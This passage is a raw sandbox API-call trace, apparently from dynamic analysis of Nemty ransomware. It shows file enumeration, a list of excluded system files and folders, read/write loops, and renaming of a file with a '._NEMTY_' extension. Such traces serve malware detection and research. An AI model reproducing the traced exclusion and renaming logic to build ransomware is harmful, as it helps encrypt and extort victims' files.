lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.249] CloseHandle (hObject=0xffffffff) returned 0 [0052.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0052.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f94370 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\offset.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\offset.ax._nemty_kgobjgd_")) returned 0 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.250] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="..") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="...") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="windows") returned -1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="$RECYCLE.BIN") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="rsa") returned -1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="NTDETECT.COM") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="ntldr") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="MSDOS.SYS") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="IO.SYS") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="boot.ini") returned 1 [0052.250] lstrcmpiW (lpString1="OmdBase.dll", lpString2="boot.ini") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="AUTOEXEC.BAT") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="ntuser.dat") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="desktop.ini") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="CONFIG.SYS") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="RECYCLER") returned -1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="BOOTSECT.BAK") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="bootmgr") returned 1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="programdata") returned -1 [0052.251] lstrcmpiW (lpString1="OmdBase.dll", lpString2="appdata") returned 1 [0052.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdBase.dll", lpUsedDefaultChar=0x0) returned 11 [0052.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdBase.dll", lpUsedDefaultChar=0x0) returned 11 [0052.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdBase.dll", lpUsedDefaultChar=0x0) returned 11 [0052.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdBase.dll", lpUsedDefaultChar=0x0) returned 11 [0052.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.251] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="..") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="...") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="windows") returned -1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="$RECYCLE.BIN") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="rsa") returned -1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="NTDETECT.COM") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="ntldr") returned 1 [0052.251] lstrcmpiW (lpString1="OmdProject.dll", lpString2="MSDOS.SYS") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="IO.SYS") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="boot.ini") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="boot.ini") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="AUTOEXEC.BAT") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="ntuser.dat") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="desktop.ini") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="CONFIG.SYS") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="RECYCLER") returned -1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="BOOTSECT.BAK") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="bootmgr") returned 1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="programdata") returned -1 [0052.252] lstrcmpiW (lpString1="OmdProject.dll", lpString2="appdata") returned 1 [0052.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll", lpUsedDefaultChar=0x0) returned 14 [0052.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll", lpUsedDefaultChar=0x0) returned 14 [0052.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x653f5e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll", lpUsedDefaultChar=0x0) returned 14 [0052.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x653f618, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll", lpUsedDefaultChar=0x0) returned 14 [0052.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0052.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.252] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0052.252] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".") returned 1 [0052.252] lstrcmpiW (lpString1="Pipeline.dll", lpString2="..") returned 1 [0052.252] lstrcmpiW (lpString1="Pipeline.dll", lpString2="...") returned 1 [0052.252] lstrcmpiW (lpString1="Pipeline.dll", lpString2="windows") returned -1 [0052.252] lstrcmpiW (lpString1="Pipeline.dll", lpString2="$RECYCLE.BIN") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="rsa") returned -1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="NTDETECT.COM") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="ntldr") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="MSDOS.SYS") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="IO.SYS") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="boot.ini") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="boot.ini") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="AUTOEXEC.BAT") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="ntuser.dat") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="desktop.ini") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="CONFIG.SYS") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="RECYCLER") returned -1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="BOOTSECT.BAK") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="bootmgr") returned 1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="programdata") returned -1 [0052.253] lstrcmpiW (lpString1="Pipeline.dll", lpString2="appdata") returned 1 [0052.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pipeline.dll", lpUsedDefaultChar=0x0) returned 12 [0052.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pipeline.dll", lpUsedDefaultChar=0x0) returned 12 [0052.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pipeline.dll", lpUsedDefaultChar=0x0) returned 12 [0052.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pipeline.dll", lpUsedDefaultChar=0x0) returned 12 [0052.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.253] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0052.253] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".") returned 1 [0052.253] lstrcmpiW (lpString1="PipeTran.dll", lpString2="..") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="...") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="windows") returned -1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="$RECYCLE.BIN") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="rsa") returned -1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="NTDETECT.COM") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="ntldr") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="MSDOS.SYS") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="IO.SYS") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="boot.ini") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="boot.ini") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="AUTOEXEC.BAT") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="ntuser.dat") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="desktop.ini") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="CONFIG.SYS") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="RECYCLER") returned -1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="BOOTSECT.BAK") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="bootmgr") returned 1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="programdata") returned -1 [0052.254] lstrcmpiW (lpString1="PipeTran.dll", lpString2="appdata") returned 1 [0052.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", 